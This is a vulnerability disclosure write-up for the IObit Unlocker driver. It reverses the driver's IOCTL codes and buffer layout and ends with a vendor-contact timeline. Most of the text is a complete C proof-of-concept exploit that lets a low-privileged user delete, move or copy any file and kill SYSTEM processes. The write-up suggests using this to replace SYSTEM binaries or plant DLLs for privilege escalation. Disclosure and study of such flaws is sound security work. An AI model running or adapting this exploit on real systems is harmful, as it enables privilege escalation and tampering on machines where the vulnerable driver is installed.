IOBit’s Unlocker program is advertised to solve the following issues:

IObit Unlocker performs well in solving “cannot delete files”, “access is denied”, “The file is in use by another program or user”, or “There has been a sharing violation” problems. With IObit Unlocker, you can manage all your files the way you want.

and even:

With “Unlock & Delete”, “Unlock & Rename”, “Unlock & Move”, and “Unlock & Copy”, IObit Unlocker offers easier ways to unlock and manage the files and folders to keep them safe and available.

It can be downloaded from here: IObit Unlocker, Solution for “undelete files or folders” Problems on Windows 8, 7, Vista, XP, 10 - IObit. Right now the latest version is 1.1.2.

Overview Link to heading

The IOBitUnlocker driver contains 2 major vulnerabilities:

  1. The IOCTL code 0x222124 in the IOBitUnlocker driver allows a low privileged user to unlock a file - kill processes that holds a handle to the process, even if they are running with SYSTEM privileges (CVE-2020-14974)
  2. The IOCTL code 0x222124 in the IOBitUnlocker driver allows a low privileged user to delete, move or copy any file on the system (CVE-2020-14975)

Vulnerability Details Link to heading

The application installs a helper driver that will perform the above actions. If we examine the permissions of the device in OSR’s Device Tree, we can see that everyone has full access to the driver:

Interestingly, when we start up the client application it will prompt for elevated access:

To see what the client does, or how does it perform the actions, we can go with reversing the driver, but it’s easier to use @zodiacon’s DriverMon tool, which can monitor IOCTL requests for us, and also show the data going on.

As we add files, we can see that there is an IOCTL code that seemingly seems to query information about the file - if any process is using it or not. This uses IOCTL code 0x222128.

If yes, we will get back the PID of the process using the file:

If we click unlock, we will see a slightly different request, using IOCTL 0x222124, again passing the filename and also number 3 at offset 0x424:

If we look at the driver file in IDA, we will see that these are the two IOCTL code it will support.

Playing around with the other option, this is what we can see in the requests in the relevant offsets:

  1. Unlock:
    1. 0x0: filename in unicode
    2. 0x424: byte 0x3
  2. Unlock and Delete:
    1. 0x0: filename in unicode
    2. 0x420: byte 0x1
    3. 0x424: byte 0x3
  3. Unlock and rename:
    1. 0x0: filename
    2. 0x210: new filename
    3. 0x420: byte 0x2
    4. 0x424: byte 0x3
  4. Unlock and move:
    1. 0x0: filename
    2. 0x210: new filename with full path
    3. 0x420: byte 0x3
    4. 0x424: byte 0x3
  5. Unlock and copy:
    1. 0x0: filename
    2. 0x210: new filename with full path
    3. 0x420: byte 0x4
    4. 0x424: byte 0x3

This is the input of a file rename operation:

If we click Force mode the byte at offset 0x424 is set to 0x7. All the other bytes are 0 in the request. We can also conclude that the tool doesn’t support file paths over 256 bytes, which is the typical MAX_PATH value. I believe the 4 byte return value is the NTSTATUS code. If we select a folder instead of a file, we got the same input values.

Considering that the access to the driver is full access to everyone, we can reimplement the same functionality in a code. This is a clear privilege escalation vulnerability as we can:

  1. delete, copy, move any file in the system
  2. kill any process (the unlock feature will terminate processes holding handles to the file) - almost any, if we look at the code, we can see that there is a whitelist for critical system processes:

The possibilities are endless with these capabilities. For example we can easily replace any binary running as SYSTEM, or copy a DLL to a location where it will be loaded as SYSTEM.

The only item that doesn’t work is renaming the file, for some reason if the user doesn’t have rights, the driver can’t rename it. All other items work.

Proof-of-concept C code:

// UnlockExploit.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <windows.h>
#include <stdio.h>

BOOL FileExists(LPCWSTR szPath)
{
	DWORD dwAttrib = GetFileAttributesW(szPath);
	printf("[i] File exists status: 0x%08x\n", dwAttrib);
	return (dwAttrib != INVALID_FILE_ATTRIBUTES);
}

void ReadStringFromSTDIN(wchar_t * buffer)
{
	printf("> ");
	fgetws((wchar_t*)buffer, 0x200, stdin);
	memset((LPVOID)((SIZE_T)buffer + (lstrlenW((LPCWSTR)buffer) * sizeof(WCHAR) - sizeof(WCHAR))), 0x00, sizeof(WCHAR)); //remove end of line character
}

int main(int argc, char* argv[]) {
	printf("[i] IOBit Unlocker Privilege Escalation PoC\n");

	//open the driver
	HANDLE hDriver = CreateFileW(L"\\\\.\\IOBitUnlockerDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver != INVALID_HANDLE_VALUE)
	{
		printf("[+] opened handle to the driver\n");

		DWORD input_buffer_size = 0x1000;
		DWORD output_buffer_size = 0x1000;
		//allocate input buffer
		LPVOID input_buffer = VirtualAlloc(NULL, (SIZE_T)input_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (input_buffer == NULL)
		{
			printf("[-] Unable to allocate memory for input buffer\n");
			ExitProcess(-1);
		}
		printf("[+] Allocated input memory buffer at: 0x%Ix\n", (UINT64)input_buffer);

		//allocate output buffer
		LPVOID output_buffer = VirtualAlloc(NULL, (SIZE_T)output_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (output_buffer == NULL)
		{
			printf("[-] Unable to allocate memory for output buffer\n");
			ExitProcess(-1);
		}
		printf("[+] Allocated output buffer memory at: 0x%Ix\n", (UINT64)output_buffer);

		// Clear memory area
		memset(input_buffer, 0x00, input_buffer_size); 
		memset(output_buffer, 0x00, output_buffer_size);

		printf("[i] Enter full path for the file to unlock. Eg: C:\\Windows\\System32\\cmd.exe\n");
		ReadStringFromSTDIN((wchar_t*)input_buffer);
		wprintf(L"Fileto be checked: %s\n", (wchar_t *)input_buffer);

		if (!FileExists((LPCWSTR)input_buffer)) {
			printf("[-] This file doesn't exists\n");
			ExitProcess(-1);
		}
		//print options
		printf("[+] File found!\n");
		printf("[i] Choose an option:\n");
		printf("1 - INFO\n");
		printf("2 - Unlock\n");
		printf("3 - Unlock & Delete\n");
		printf("4 - Unlock & Rename\n");
		printf("5 - Unlock & Move\n");
		printf("6 - Unlock & Copy\n");
		
		boolean valid = false;
		int option = 0;
		while (!valid)
		{
			printf("> ");
			int result = scanf_s("%d", &option);
			if (result == EOF) {
				printf("[-] Invalid input\n");
				continue;
			}
			if (result == 0) {
				while (fgetc(stdin) != '\n') // Read until a newline is found
					;
				printf("[-] Invalid input\n");
				continue;
			}
			
			if (option > 0 && option < 7)
			{
				valid = true;
				while (fgetc(stdin) != '\n') // Read until a newline is found, if we don't do this it will mess up code later
					;
			}
			else
			{
				printf("[-] Invalid number, enter something between 1 and 6\n");
			}
		}

		DWORD dwIoctl_info = 0x222128;
		DWORD dwIoctl_action = 0x222124;
		DWORD dwBytesOut = 0;
		switch (option)
		{
		case 1:
		{
			DeviceIoControl(hDriver, dwIoctl_info, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			wprintf(L"[i] File info: %s\n", (wchar_t*)output_buffer);
			break;
		}
		case 2:
		{
			((byte*)input_buffer)[0x424] = 0x3;
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		case 3:
		{
			((byte*)input_buffer)[0x420] = 0x1;
			((byte*)input_buffer)[0x424] = 0x3;
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		case 4: //this is not working id the user doesn't have rights to access the file
		{
			((byte*)input_buffer)[0x420] = 0x2;
			((byte*)input_buffer)[0x424] = 0x3;
			printf("[i] Enter new filename:\n");
			ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		case 5:
		{
			((byte*)input_buffer)[0x420] = 0x3;
			((byte*)input_buffer)[0x424] = 0x3;
			printf("[i] Enter new path (move operation):\n");
			ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		case 6:
		{
			((byte*)input_buffer)[0x420] = 0x4;
			((byte*)input_buffer)[0x424] = 0x3;
			printf("[i] Enter new path (copy operation):\n");
			ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		default:
			break;
		}
	}
	else {
		printf("[-] Couldn't open the driver\n");
		ExitProcess(-1);
	}
	CloseHandle(hDriver);
	ExitProcess(0);
}

Testing:

The driver is normally started only if we start the main application, and once we exit it will be terminated and disabled. If we want to start it manually for the testing, we need to start it by our own:

sc config iobitunlocker start= demand
sc start iobitunlocker

POC code available at: IOBit Unlocker POC

Contact / vendor notification:

  1. 2019.07.25. - Initial contact through webform - never got response
  2. 2019.07.29. - Contact CERT - CERT never got response from vendor
  3. 2019.08.20. - Try to contact vendor via Twitter - never got response
  4. 2019.08.20. - Contact MITRE for CVE assignment (no response)
  5. 2019.09.03. - Last trial through web form (sent in full report), no response
  6. 2019.10.12. - Public disclosure